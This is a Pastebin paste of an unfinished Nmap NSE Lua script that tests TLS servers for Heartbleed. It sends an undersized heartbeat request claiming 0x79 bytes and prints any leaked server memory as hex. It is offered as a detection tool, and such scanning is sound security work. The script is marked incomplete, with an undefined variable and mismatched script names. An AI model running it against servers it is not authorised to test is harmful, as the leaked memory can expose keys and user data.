bonsaiviking

tls-heartbleed.nse - WIP/incomplete

Apr 8th, 2014
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local nmap = require "nmap"
  2. local shortport = require "shortport"
  3. local stdnse = require "stdnse"
  4. local bin = require "bin"
  5. local tls = require "tls"
  6.  
  7. description = [[
  8. Checks for the Heartbleed bug
  9.  
  10. References:
  11. * http://heartbleed.com/
  12. ]]
  13.  
  14. ---
  15. -- @usage
  16. -- nmap --script=tls-heartbeat <targets>
  17. --
  18. --@output
  19. -- 443/tcp open  https
  20. -- |_tls-heartbeat:
  21. --
  22. -- @xmloutput
  23.  
  24.  
  25. author = "Daniel Miller"
  26.  
  27. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  28.  
  29. categories = {"discovery", "safe"}
  30.  
  31. portrule = shortport.ssl
  32.  
  33. action = function(host, port)
  34.   local sock, status, response, err, cli_h
  35.  
  36.   cli_h = tls.client_hello({
  37.     ["protocol"] = "TLSv1.1",
  38.     ["ciphers"] = {
  39.       "TLS_RSA_WITH_3DES_EDE_CBC_SHA",
  40.       "TLS_RSA_WITH_RC4_128_MD5",
  41.     },
  42.     ["compressors"] = {"NULL"},
  43.     ["extensions"] = {
  44.       ["heartbeat"] = "\x01", -- peer_not_allowed_to_send
  45.     },
  46.   })
  47.  
  48.   -- Connect to the target server
  49.   sock = nmap.new_socket()
  50.   sock:set_timeout(1000)
  51.   status, err = sock:connect(host, port)
  52.   if not status then
  53.     sock:close()
  54.     stdnse.print_debug("Can't send: %s", err)
  55.     return nil
  56.   end
  57.  
  58.   local handshake_done = false
  59.   -- Send Client Hello to the target server
  60.   status, err = sock:send(cli_h)
  61.   if not status then
  62.     stdnse.print_debug("Couldn't send: %s", err)
  63.     sock:close()
  64.     return nil
  65.   end
  66.  
  67.   -- Read response
  68.   local done = false
  69.   local supported = false
  70.   local i = 1
  71.   repeat
  72.     status, response, err = tls.record_buffer(sock, response, i)
  73.     if err == "TIMEOUT" then
  74.       done = true
  75.       break
  76.     elseif not status then
  77.       stdnse.print_debug("Couldn't receive: %s", err)
  78.       sock:close()
  79.       return nil
  80.     end
  81.  
  82.     i, record = tls.record_read(response, i)
  83.     if record == nil then
  84.       local nsedebug = require "nsedebug"
  85.       nsedebug.print_hex(string.sub(response, prev))
  86.       stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
  87.       return nil
  88.     end
  89.  
  90.     if record.type == "handshake" then
  91.       for _, body in ipairs(record.body) do
  92.         if body.type == "server_hello" then
  93.           if body.extensions and body.extensions["heartbeat"] == "\x01" then
  94.             supported = true
  95.           end
  96.         elseif body.type == "server_hello_done" then
  97.           stdnse.print_debug("we're done!")
  98.           done = true
  99.         end
  100.       end
  101.     end
  102.   until done
  103.   if not supported then
  104.     stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.", SCRIPT_NAME)
  105.     return nil
  106.   end
  107.  
  108.   local numbytes = 0x79
  109.   local padding = "YELLOW SUBMARINE"
  110.   local payload = bin.pack("PP", "nmap", padding)
  111.   local hb = tls.record_write("heartbeat", "TLSv1.1", bin.pack("C>SA",
  112.       1, -- heartbeat_request
  113.       numbytes,
  114.       payload
  115.       )
  116.     )
  117.  
  118.   local status, err = sock:send(hb)
  119.   -- Read response
  120.   status, response, err = tls.record_buffer(sock)
  121.   if not status then
  122.     stdnse.print_debug("Couldn't receive: %s", err)
  123.     sock:close()
  124.     return nil
  125.   end
  126.  
  127.   local i, record = tls.record_read(response, 0)
  128.   if record == nil then
  129.     stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
  130.     return nil
  131.   end
  132.  
  133.   if record.type == "heartbeat" and record.body[1].type == 2 then
  134.     local payload = record.body[1].payload
  135.     if #payload > 4 then
  136.       return "VULNERABLE\n" .. stdnse.to_hex(payload)
  137.     end
  138.   else
  139.     stdnse.print_debug("%s: Server response was not heartbeat_response", SCRIPT_NAME)
  140.     return nil
  141.   end
  142. end
Advertisement
Add Comment
Please, Sign In to add comment